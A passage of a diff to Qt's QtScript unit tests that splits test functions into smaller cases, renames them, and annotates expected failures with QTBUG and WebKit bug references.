     QCOMPARE(ctx->scopeChain().size(), 1);
+}
 
+void tst_QScriptContext::pushAndPopScope_globalContext2()
+{
+    QScriptEngine eng;
+    QScriptContext *ctx = eng.currentContext();
     QVERIFY(ctx->popScope().strictlyEquals(eng.globalObject()));
     QVERIFY(ctx->scopeChain().isEmpty());
 
     // Used to work with old back-end, doesn't with new one because JSC requires that the last object in
     // a scope chain is the Global Object.
     QTest::ignoreMessage(QtWarningMsg, "QScriptContext::pushScope() failed: initial object in scope chain has to be the Global Object");
-    ctx->pushScope(obj);
+    ctx->pushScope(eng.newObject());
     QCOMPARE(ctx->scopeChain().size(), 0);
 
     QScriptEngine eng2;
@@ -1043,7 +1207,7 @@ static QScriptValue get_activationObject(QScriptContext *ctx, QScriptEngine *)
     return ctx->activationObject();
 }
 
-void tst_QScriptContext::getSetActivationObject()
+void tst_QScriptContext::getSetActivationObject_globalContext()
 {
     QScriptEngine eng;
     QScriptContext *ctx = eng.currentContext();
@@ -1076,7 +1240,7 @@ void tst_QScriptContext::getSetActivationObject()
         QScriptValue ret = eng.evaluate("get_activationObject(1, 2, 3)");
         QVERIFY(ret.isObject());
         QScriptValue arguments = ret.property("arguments");
-        QEXPECT_FAIL("", "Getting arguments property of activation object doesn't work", Abort);
+        QEXPECT_FAIL("", "QTBUG-17136: arguments property of activation object is missing", Abort);
         QVERIFY(arguments.isObject());
         QCOMPARE(arguments.property("length").toInt32(), 3);
         QCOMPARE(arguments.property("0").toInt32(), 1);
@@ -1099,6 +1263,8 @@ void tst_QScriptContext::getSetActivationObject_customContext()
     QCOMPARE(act.property("foo").toInt32(), 123);
 }
 
+// Helper function that's intended to have the same behavior
+// as the built-in eval() function.
 static QScriptValue myEval(QScriptContext *ctx, QScriptEngine *eng)
 {
      QString code = ctx->argument(0).toString();
@@ -1127,13 +1293,14 @@ void tst_QScriptContext::inheritActivationAndThisObject()
         QCOMPARE(ret.toInt32(), 123);
     }
 
-    // QT-2219
     {
         eng.globalObject().setProperty("a", 123);
         QScriptValue ret = eng.evaluate("(function() { myEval('var a = 456'); return a; })()");
         QVERIFY(ret.isNumber());
         QCOMPARE(ret.toInt32(), 456);
-        QEXPECT_FAIL("", "QT-2219: Wrong activation object is returned from native function's parent context", Continue);
+        // Since JSC doesn't create an activation object for the anonymous function call,
+        // myEval() will use the global object as the activation, which is wrong.
+        QEXPECT_FAIL("", "QTBUG-10313: Wrong activation object is returned from native function's parent context", Continue);
         QVERIFY(eng.globalObject().property("a").strictlyEquals(123));
     }
 }
@@ -1172,11 +1339,11 @@ static QScriptValue storeCalledAsConstructorV3(QScriptContext *ctx, QScriptEngin
     return eng->undefinedValue();
 }
 
-void tst_QScriptContext::calledAsConstructor()
+void tst_QScriptContext::calledAsConstructor_fromCpp()
 {
     QScriptEngine eng;
-    QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor);
     {
+        QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor);
         fun1.call();
         QVERIFY(!fun1.property("calledAsConstructor").toBool());
         fun1.construct();
@@ -1189,25 +1356,31 @@ void tst_QScriptContext::calledAsConstructor()
         fun.construct();
         QVERIFY(fun.property("calledAsConstructor").toBool());
     }
-    {
-        eng.globalObject().setProperty("fun1", fun1);
-        eng.evaluate("fun1();");
-        QVERIFY(!fun1.property("calledAsConstructor").toBool());
-        eng.evaluate("new fun1();");
-        QVERIFY(fun1.property("calledAsConstructor").toBool());
-    }
-    {
-        QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3);
-        eng.globalObject().setProperty("fun3", fun3);
-        eng.evaluate("function test() { fun3() }");
-        eng.evaluate("test();");
-        QVERIFY(!fun3.property("calledAsConstructor").toBool());
-        eng.evaluate("new test();");
-        if (qt_script_isJITEnabled())
-            QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue);
-        QVERIFY(fun3.property("calledAsConstructor").toBool());
-    }
+}
+
+void tst_QScriptContext::calledAsConstructor_fromJS()
+{
+    QScriptEngine eng;
+    QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor);
+    eng.globalObject().setProperty("fun1", fun1);
+    eng.evaluate("fun1();");
+    QVERIFY(!fun1.property("calledAsConstructor").toBool());
+    eng.evaluate("new fun1();");
+    QVERIFY(fun1.property("calledAsConstructor").toBool());
+}
 
+void tst_QScriptContext::calledAsConstructor_parentContext()
+{
+    QScriptEngine eng;
+    QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3);
+    eng.globalObject().setProperty("fun3", fun3);
+    eng.evaluate("function test() { fun3() }");
+    eng.evaluate("test();");
+    QVERIFY(!fun3.property("calledAsConstructor").toBool());
+    eng.evaluate("new test();");
+    if (qt_script_isJITEnabled())
+        QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue);
+    QVERIFY(fun3.property("calledAsConstructor").toBool());
 }
 
 static QScriptValue argumentsObjectInNative_test1(QScriptContext *ctx, QScriptEngine *eng)
@@ -1269,7 +1442,7 @@ void tst_QScriptContext::jsActivationObject()
     QScriptValue result1 = eng.evaluate("f2('hello', 'useless', 'world')");
     QScriptValue result2 = eng.evaluate("f3()");
     QVERIFY(result1.isObject());
-    QEXPECT_FAIL("", "JSC optimize away the activation object", Abort);
+    QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort);
     QCOMPARE(result1.property("v1").toInt32() , 42);
     QCOMPARE(result1.property("arguments").property(1).toString() , QString::fromLatin1("useless"));
     QVERIFY(result2.isObject());
diff --git a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp
index aba16b2..62f899c 100644
--- a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp
+++ b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp
@@ -93,6 +93,7 @@ private slots:
     void qtPropertyFunction();
     void nullContext();
     void streaming();
+    void comparison_null();
     void assignmentAndComparison();
 };
 
@@ -150,7 +151,7 @@ void tst_QScriptContextInfo::nativeFunction()
         QVERIFY(info.scriptId() != -1);
         QCOMPARE(info.fileName(), fileName);
         QCOMPARE(info.lineNumber(), lineNumber);
-        QEXPECT_FAIL("", "columnNumber doesn't work", Continue);
+        QEXPECT_FAIL("", "QTBUG-17602: columnNumber doesn't work", Continue);
         QCOMPARE(info.columnNumber(), 1);
         QCOMPARE(info.functionName(), QString());
         QCOMPARE(info.functionEndLineNumber(), -1);
@@ -182,7 +183,7 @@ void tst_QScriptContextInfo::scriptFunction()
         QVERIFY(info.scriptId() != -1);
         QCOMPARE(info.fileName(), fileName);
         QCOMPARE(info.lineNumber(), lineNumber + 1);
-        QEXPECT_FAIL("", "columnNumber doesn't work", Continue);
+        QEXPECT_FAIL("", "QTBUG-17602: columnNumber doesn't work", Continue);
         QCOMPARE(info.columnNumber(), 2);
         QCOMPARE(info.functionName(), QString::fromLatin1("bar"));
         QCOMPARE(info.functionStartLineNumber(), lineNumber);
@@ -201,7 +202,7 @@ void tst_QScriptContextInfo::scriptFunction()
         QVERIFY(info.scriptId() != -1);
         QCOMPARE(info.fileName(), fileName);
         QCOMPARE(info.lineNumber(), lineNumber + 3);
-        QEXPECT_FAIL("", "columnNumber doesn't work", Continue);
+        QEXPECT_FAIL("", "QTBUG-17602: columnNumber doesn't work", Continue);
         QCOMPARE(info.columnNumber(), 1);
         QCOMPARE(info.functionName(), QString());
         QCOMPARE(info.functionEndLineNumber(), -1);
@@ -366,6 +367,13 @@ void tst_QScriptContextInfo::streaming()
     }
 }
 
+void tst_QScriptContextInfo::comparison_null()
+{
+    QScriptContextInfo info1, info2, info3(0);
+    QCOMPARE(info1, info2);
+    QCOMPARE(info1, info3);
+}
+
 void tst_QScriptContextInfo::assignmentAndComparison()
 {
     QScriptEngine eng;
diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp
index c4c53e9..2d7feee 100644
--- a/tests/auto/qscriptengine/tst_qscriptengine.cpp
+++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp
@@ -93,7 +93,8 @@ private slots:
     void constructWithParent();
     void currentContext();
     void pushPopContext();
-    void getSetDefaultPrototype();
+    void getSetDefaultPrototype_int();
+    void getSetDefaultPrototype_customType();
     void newFunction();
     void newFunctionWithArg();
     void newFunctionWithProto();
@@ -109,7 +110,9 @@ private slots:
     void newVariant_promoteNonObject();
     void newVariant_promoteNonQScriptObject();
     void newRegExp();
+    void jsRegExp();
     void newDate();
+    void jsParseDate();
     void newQObject();
     void newQObject_ownership();
     void newQObject_promoteObject();
@@ -121,6 +124,7 @@ private slots:
     void newActivationObject();
     void getSetGlobalObject();
     void globalObjectProperties();
+    void globalObjectProperties_enumerate();
     void createGlobalObjectProperty();
     void globalObjectGetterSetterProperty();
     void customGlobalObjectWithPrototype();
@@ -136,7 +140,14 @@ private slots:
     void nestedEvaluate();
     void uncaughtException();
     void errorMessage_QT679();
-    void valueConversion();
+    void valueConversion_basic();
+    void valueConversion_customType();
+    void valueConversion_sequence();
+    void valueConversion_QVariant();
+    void valueConversion_hooliganTask248802();
+    void valueConversion_basic2();
+    void valueConversion_dateTime();
+    void valueConversion_regExp();
     void qScriptValueFromValue_noEngine();
     void importExtension();
     void infiniteRecursion();
@@ -152,32 +163,51 @@ private slots:
     void numberParsing_data();
     void numberParsing();
     void automaticSemicolonInsertion();
+    void abortEvaluation_notEvaluating();
     void abortEvaluation();
+    void abortEvaluation_tryCatch();
+    void abortEvaluation_fromNative();
     void abortEvaluation_QTBUG9433();
-    void isEvaluating();
+    void isEvaluating_notEvaluating();
+    void isEvaluating_fromNative();
+    void isEvaluating_fromEvent();
     void printFunctionWithCustomHandler();
     void printThrowsException();
     void errorConstructors();
-    void argumentsProperty();
-    void numberClass();
-    void forInStatement();
-    void functionExpression();
+    void argumentsProperty_globalContext();
+    void argumentsProperty_JS();
+    void argumentsProperty_evaluateInNativeFunction();
+    void jsNumberClass();
+    void jsForInStatement_simple();
+    void jsForInStatement_prototypeProperties();
+    void jsForInStatement_mutateWhileIterating();
+    void jsForInStatement_arrays();
+    void jsForInStatement_nullAndUndefined();
+    void jsFunctionDeclarationAsStatement();
     void stringObjects();
+    void jsStringPrototypeReplaceBugs();
     void getterSetterThisObject_global();
     void getterSetterThisObject_plain();
     void getterSetterThisObject_prototypeChain();
     void getterSetterThisObject_activation();
-    void continueInSwitch();
-    void readOnlyPrototypeProperty();
+    void jsContinueInSwitch();
+    void jsShadowReadOnlyPrototypeProperty();
     void toObject();
-    void reservedWords_data();
-    void reservedWords();
-    void futureReservedWords_data();
-    void futureReservedWords();
-    void throwInsideWithStatement();
-    void getSetAgent();
-    void reentrancy();
-    void incDecNonObjectProperty();
+    void jsReservedWords_data();
+    void jsReservedWords();
+    void jsFutureReservedWords_data();
+    void jsFutureReservedWords();
+    void jsThrowInsideWithStatement();
+    void getSetAgent_ownership();
+    void getSetAgent_deleteAgent();
+    void getSetAgent_differentEngine();
+    void reentrancy_stringHandles();
+    void reentrancy_processEventsInterval();
+    void reentrancy_typeConversion();
+    void reentrancy_globalObjectProperties();
+    void reentrancy_Array();
+    void reentrancy_objectCreation();
+    void jsIncDecNonObjectProperty();
     void installTranslatorFunctions_data();
     void installTranslatorFunctions();
     void translateScript_data();
@@ -195,6 +225,7 @@ private slots:
     void translateScriptUnicode();
     void translateScriptUnicodeIdBased_data();
     void translateScriptUnicodeIdBased();
+    void translateFromBuiltinCallback();
     void functionScopes();
     void nativeFunctionScopes();
     void evaluateProgram();
@@ -314,8 +345,8 @@ void tst_QScriptEngine::newFunction()
             QScriptValue prot = fun.property("prototype", QScriptValue::ResolveLocal);
             QVERIFY(prot.isObject());
             QVERIFY(prot.property("constructor").strictlyEquals(fun));
-            QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable);
-            QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+            QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+            QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::SkipInEnumeration);
         }
         // prototype should be Function.prototype
         QCOMPARE(fun.prototype().isValid(), true);
@@ -339,8 +370,8 @@ void tst_QScriptEngine::newFunctionWithArg()
             QScriptValue prot = fun.property("prototype", QScriptValue::ResolveLocal);
             QVERIFY(prot.isObject());
             QVERIFY(prot.property("constructor").strictlyEquals(fun));
-            QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable);
-            QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+            QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+            QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::SkipInEnumeration);
         }
         // prototype should be Function.prototype
         QCOMPARE(fun.prototype().isValid(), true);
@@ -367,10 +398,9 @@ void tst_QScriptEngine::newFunctionWithProto()
         QCOMPARE(fun.prototype().strictlyEquals(eng.evaluate("Function.prototype")), true);
         // public prototype should be the one we passed
         QCOMPARE(fun.property("prototype").strictlyEquals(proto), true);
-        QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable);
+        QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
         QCOMPARE(proto.property("constructor").strictlyEquals(fun), true);
-        QCOMPARE(proto.propertyFlags("constructor"),
-                 QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+        QCOMPARE(proto.propertyFlags("constructor"), QScriptValue::SkipInEnumeration);
 
         QCOMPARE(fun.call().isNull(), true);
         QCOMPARE(fun.construct().isObject(), true);
@@ -440,10 +470,10 @@ void tst_QScriptEngine::newArray_HooliganTask233836()
 {
     QScriptEngine eng;
     {
+        // According to ECMA-262, this should cause a RangeError.
         QScriptValue ret = eng.evaluate("a = new Array(4294967295); a.push('foo')");
-        QVERIFY(ret.isNumber());
-        QCOMPARE(ret.toInt32(), 0);
-        QCOMPARE(eng.evaluate("a[4294967295]").toString(), QString::fromLatin1("foo"));
+        QEXPECT_FAIL("", "ECMA compliance bug in Array.prototype.push: https://bugs.webkit.org/show_bug.cgi?id=55033", Continue);
+        QVERIFY(ret.isError() && ret.toString().contains(QLatin1String("RangeError")));
     }
     {
         QScriptValue ret = eng.newArray(0xFFFFFFFF);
@@ -609,54 +639,66 @@ void tst_QScriptEngine::newRegExp()
 
         QCOMPARE(rexp.toRegExp().pattern(), QRegExp("foo").pattern());
     }
-    {
-        QScriptValue r = eng.evaluate("/foo/gim");
-        QVERIFY(r.isRegExp());
-        QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim"));
+}
 
-        QScriptValue rxCtor = eng.globalObject().property("RegExp");
-        QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r);
-        QVERIFY(r2.isRegExp());
-        QVERIFY(r2.strictlyEquals(r));
+void tst_QScriptEngine::jsRegExp()
+{
+    // See ECMA-262 Section 15.10, "RegExp Objects".
+    // These should really be JS-only tests, as they test the implementation's
+    // ECMA-compliance, not the C++ API. Compliance should already be covered
+    // by the Mozilla tests (qscriptjstestsuite).
+    // We can consider updating the expected results of this test if the
+    // RegExp implementation changes.
+
+    QScriptEngine eng;
+    QScriptValue r = eng.evaluate("/foo/gim");
+    QVERIFY(r.isRegExp());
+    QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim"));
 
-        QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim");
-        QVERIFY(r3.isError());
-        QCOMPARE(r3.toString(), QString::fromLatin1("TypeError: Cannot supply flags when constructing one RegExp from another."));
+    QScriptValue rxCtor = eng.globalObject().property("RegExp");
+    QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r);
+    QVERIFY(r2.isRegExp());
+    QVERIFY(r2.strictlyEquals(r));
 
-        QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim");
-        QVERIFY(r4.isRegExp());
+    QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim");
+    QVERIFY(r3.isError());
+    QVERIFY(r3.toString().contains(QString::fromLatin1("TypeError"))); // Cannot supply flags when constructing one RegExp from another
 
-        QScriptValue r5 = rxCtor.construct(QScriptValueList() << r);
-        QVERIFY(r5.isRegExp());
-        QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim"));
-        // In JSC, constructing a RegExp from another produces the same identical object.
-        // This is different from SpiderMonkey and old back-end.
-        QVERIFY(r5.strictlyEquals(r));
+    QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim");
+    QVERIFY(r4.isRegExp());
 
-        QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar");
-        QVERIFY(r6.isError());
-        QCOMPARE(r6.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag"));
+    QScriptValue r5 = rxCtor.construct(QScriptValueList() << r);
+    QVERIFY(r5.isRegExp());
+    QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim"));
+    // In JSC, constructing a RegExp from another produces the same identical object.
+    // This is different from SpiderMonkey and old back-end.
+    QEXPECT_FAIL("", "RegExp copy-constructor should return a new object: https://bugs.webkit.org/show_bug.cgi?id=55040", Continue);
+    QVERIFY(!r5.strictlyEquals(r));
 
-        QScriptValue r7 = eng.evaluate("/foo/gimp");
-        QVERIFY(r7.isError());
-        QCOMPARE(r7.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag"));
+    QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar");
+    QVERIFY(r6.isError());
+    QVERIFY(r6.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag
 
-        QScriptValue r8 = eng.evaluate("/foo/migmigmig");
-        QVERIFY(r8.isRegExp());
-        QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim"));
+    QScriptValue r7 = eng.evaluate("/foo/gimp");
+    QVERIFY(r7.isError());
+    QVERIFY(r7.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag
 
-        QScriptValue r9 = rxCtor.construct();
-        QVERIFY(r9.isRegExp());
-        QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/"));
+    // JSC doesn't complain about duplicate flags.
+    QScriptValue r8 = eng.evaluate("/foo/migmigmig");
+    QVERIFY(r8.isRegExp());
+    QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim"));
 
-        QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim");
-        QVERIFY(r10.isRegExp());
-        QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim"));
+    QScriptValue r9 = rxCtor.construct();
+    QVERIFY(r9.isRegExp());
+    QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/"));
 
-        QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g");
-        QVERIFY(r11.isRegExp());
-        QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g"));
-    }
+    QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim");
+    QVERIFY(r10.isRegExp());
+    QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim"));
+
+    QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g");
+    QVERIFY(r11.isRegExp());
+    QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g"));
 }
 
 void tst_QScriptEngine::newDate()
@@ -695,7 +737,11 @@ void tst_QScriptEngine::newDate()
         // toDateTime() result should be in local time
         QCOMPARE(date.toDateTime(), dt.toLocalTime());
     }
+}
 
+void tst_QScriptEngine::jsParseDate()
+{
+    QScriptEngine eng;
     // Date.parse() should return NaN when it fails
     {
         QScriptValue ret = eng.evaluate("Date.parse()");
@@ -1196,6 +1242,8 @@ static QScriptValue getSetFoo(QScriptContext *ctx, QScriptEngine *)
 
 void tst_QScriptEngine::globalObjectProperties()
 {
+    // See ECMA-262 Section 15.1, "The Global Object".
+
     QScriptEngine eng;
     QScriptValue global = eng.globalObject();
 
@@ -1269,10 +1317,15 @@ void tst_QScriptEngine::globalObjectProperties()
     QCOMPARE(global.propertyFlags("URIError"), QScriptValue::SkipInEnumeration);
     QVERIFY(global.property("Math").isObject());
     QVERIFY(!global.property("Math").isFunction());
-    QEXPECT_FAIL("", "[ECMA compliance] JSC sets DontDelete flag for Math object", Continue);
+    QEXPECT_FAIL("", "[ECMA compliance] JSC sets DontDelete flag for Math object: https://bugs.webkit.org/show_bug.cgi?id=55034", Continue);
     QCOMPARE(global.propertyFlags("Math"), QScriptValue::SkipInEnumeration);
+}
+
+void tst_QScriptEngine::globalObjectProperties_enumerate()
+{
+    QScriptEngine eng;
+    QScriptValue global = eng.globalObject();
 
-    // enumeration
     QSet<QString> expectedNames;
     expectedNames
         << "isNaN"
@@ -1500,7 +1553,7 @@ void tst_QScriptEngine::globalObjectWithCustomPrototype()
     {
         QScriptValue ret = engine.evaluate("this.__proto__ = { 'a': 123 }; a");
         QVERIFY(ret.isNumber());
-        QEXPECT_FAIL("", "QTBUG-9737", Continue);
+        QEXPECT_FAIL("", "QTBUG-9737: Prototype change in JS not reflected on C++ side", Continue);
         QVERIFY(ret.strictlyEquals(global.property("a")));
     }
 }
@@ -1510,7 +1563,9 @@ void tst_QScriptEngine::builtinFunctionNames_data()
     QTest::addColumn<QString>("expression");
     QTest::addColumn<QString>("expectedName");
 
-    QTest::newRow("print") << QString("print") << QString("print");
+    // See ECMA-262 Chapter 15, "Standard Built-in ECMAScript Objects".
+
+    QTest::newRow("print") << QString("print") << QString("print"); // QtScript extension.
     QTest::newRow("parseInt") << QString("parseInt") << QString("parseInt");
     QTest::newRow("parseFloat") << QString("parseFloat") << QString("parseFloat");
     QTest::newRow("isNaN") << QString("isNaN") << QString("isNaN");
@@ -1521,8 +1576,8 @@ void tst_QScriptEngine::builtinFunctionNames_data()
     QTest::newRow("encodeURIComponent") << QString("encodeURIComponent") << QString("encodeURIComponent");
     QTest::newRow("escape") << QString("escape") << QString("escape");
     QTest::newRow("unescape") << QString("unescape") << QString("unescape");
-    QTest::newRow("version") << QString("version") << QString("version");
-    QTest::newRow("gc") << QString("gc") << QString("gc");
+    QTest::newRow("version") << QString("version") << QString("version"); // QtScript extension.
+    QTest::newRow("gc") << QString("gc") << QString("gc"); // QtScript extension.
 
     QTest::newRow("Array") << QString("Array") << QString("Array");
     QTest::newRow("Array.prototype.toString") << QString("Array.prototype.toString") << QString("toString");
@@ -1673,6 +1728,7 @@ void tst_QScriptEngine::builtinFunctionNames()
     QFETCH(QString, expression);
     QFETCH(QString, expectedName);
     QScriptEngine eng;
+    // The "name" property is actually non-standard, but JSC supports it.
     QScriptValue ret = eng.evaluate(QString::fromLatin1("%0.name").arg(expression));
     QVERIFY(ret.isString());
     QCOMPARE(ret.toString(), expectedName);
@@ -1894,22 +1950,24 @@ static QScriptValue eval_nested(QScriptContext *ctx, QScriptEngine *eng)
     return result;
 }
 
+// Tests that nested evaluate uses the "this" that was passed.
 void tst_QScriptEngine::nestedEvaluate()
 {
     QScriptEngine eng;
     QScriptValue fun = eng.newFunction(eval_nested);
     eng.globalObject().setProperty("fun", fun);
+    // From JS function call
     {
         QScriptValue result = eng.evaluate("o = { id:'foo'}; o.fun = fun; o.fun()");
         QCOMPARE(result.property("local_bar").toString(), QString("local"));
         QCOMPARE(result.property("thisObjectIdBefore").toString(), QString("foo"));
         QCOMPARE(result.property("thisObjectIdAfter").toString(), QString("foo"));
         QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo"));
-        QScriptValue bar = eng.evaluate("bar");
+        QScriptValue bar = eng.evaluate("bar"); // Was introduced in local scope.
         QVERIFY(bar.isError());
-        QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar"));
+        QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError")));
     }
-
+    // From QScriptValue::call()
     {
         QScriptValue result = fun.call(eng.evaluate("p = { id:'foo' }") , QScriptValueList() );
         QCOMPARE(result.property("local_bar").toString(), QString("local"));
@@ -1918,7 +1976,7 @@ void tst_QScriptEngine::nestedEvaluate()
         QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo"));
         QScriptValue bar = eng.evaluate("bar");
         QVERIFY(bar.isError());
-        QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar"));
+        QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError")));
     }
 }
 
@@ -1985,6 +2043,7 @@ void tst_QScriptEngine::errorMessage_QT679()
     engine.globalObject().setProperty("foo", 15);
     QScriptValue error = engine.evaluate("'hello world';\nfoo.bar.blah");
     QVERIFY(error.isError());
+    // The exact message is back-end specific and subject to change.
     QCOMPARE(error.toString(), QString::fromLatin1("TypeError: Result of expression 'foo.bar' [undefined] is not an object."));
 }
 
@@ -1997,37 +2056,40 @@ public:
 Q_DECLARE_METATYPE(Foo)
 Q_DECLARE_METATYPE(Foo*)
 
-void tst_QScriptEngine::getSetDefaultPrototype()
+void tst_QScriptEngine::getSetDefaultPrototype_int()
 {
     QScriptEngine eng;
-    {
-        QScriptValue object = eng.newObject();
-        QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
-        eng.setDefaultPrototype(qMetaTypeId<int>(), object);
-        QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).strictlyEquals(object), true);
-        QScriptValue value = eng.newVariant(int(123));
-        QCOMPARE(value.prototype().isObject(), true);
-        QCOMPARE(value.prototype().strictlyEquals(object), true);
 
-        eng.setDefaultPrototype(qMetaTypeId<int>(), QScriptValue());
-        QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
-        QScriptValue value2 = eng.newVariant(int(123));
-        QCOMPARE(value2.prototype().strictlyEquals(object), false);
-    }
-    {
-        QScriptValue object = eng.newObject();
-        QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
-        eng.setDefaultPrototype(qMetaTypeId<Foo>(), object);
-        QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(object), true);
-        QScriptValue value = eng.newVariant(qVariantFromValue(Foo()));
-        QCOMPARE(value.prototype().isObject(), true);
-        QCOMPARE(value.prototype().strictlyEquals(object), true);
+    QScriptValue object = eng.newObject();
+    QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
+    eng.setDefaultPrototype(qMetaTypeId<int>(), object);
+    QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).strictlyEquals(object), true);
+    QScriptValue value = eng.newVariant(int(123));
+    QCOMPARE(value.prototype().isObject(), true);
+    QCOMPARE(value.prototype().strictlyEquals(object), true);
 
-        eng.setDefaultPrototype(qMetaTypeId<Foo>(), QScriptValue());
-        QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
-        QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo()));
-        QCOMPARE(value2.prototype().strictlyEquals(object), false);
-    }
+    eng.setDefaultPrototype(qMetaTypeId<int>(), QScriptValue());
+    QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
+    QScriptValue value2 = eng.newVariant(int(123));
+    QCOMPARE(value2.prototype().strictlyEquals(object), false);
+}
+
+void tst_QScriptEngine::getSetDefaultPrototype_customType()
+{
+    QScriptEngine eng;
+
+    QScriptValue object = eng.newObject();
+    QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
+    eng.setDefaultPrototype(qMetaTypeId<Foo>(), object);
+    QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(object), true);
+    QScriptValue value = eng.newVariant(qVariantFromValue(Foo()));
+    QCOMPARE(value.prototype().isObject(), true);
+    QCOMPARE(value.prototype().strictlyEquals(object), true);
+
+    eng.setDefaultPrototype(qMetaTypeId<Foo>(), QScriptValue());
+    QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
+    QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo()));
+    QCOMPARE(value2.prototype().strictlyEquals(object), false);
 }
 
 static QScriptValue fooToScriptValue(QScriptEngine *eng, const Foo &foo)
@@ -2061,7 +2123,7 @@ Q_DECLARE_METATYPE(QStack<int>)
 Q_DECLARE_METATYPE(QQueue<char>)
 Q_DECLARE_METATYPE(QLinkedList<QStack<int> >)
 
-void tst_QScriptEngine::valueConversion()
+void tst_QScriptEngine::valueConversion_basic()
 {
     QScriptEngine eng;
     {
@@ -2123,7 +2185,11 @@ void tst_QScriptEngine::valueConversion()
         QCOMPARE(qScriptValueToValue<QChar>(code), c);
         QCOMPARE(qScriptValueToValue<QChar>(qScriptValueFromValue(&eng, c)), c);
     }
+}
 
+void tst_QScriptEngine::valueConversion_customType()
+{
+    QScriptEngine eng;
     {
         // a type that we don't have built-in conversion of
         // (it's stored as a variant)
@@ -2169,7 +2235,11 @@ void tst_QScriptEngine::valueConversion()
         QVERIFY(fooVal2.property("x").strictlyEquals(QScriptValue(&eng, 56)));
         QVERIFY(fooVal2.property("y").strictlyEquals(QScriptValue(&eng, 78)));
     }
+}
 
+void tst_QScriptEngine::valueConversion_sequence()
+{
+    QScriptEngine eng;
     qScriptRegisterSequenceMetaType<QLinkedList<QString> >(&eng);
 
     {
@@ -2248,7 +2318,11 @@ void tst_QScriptEngine::valueConversion()
 
         QCOMPARE(qscriptvalue_cast<QObjectList>(val), lst);
     }
+}
 
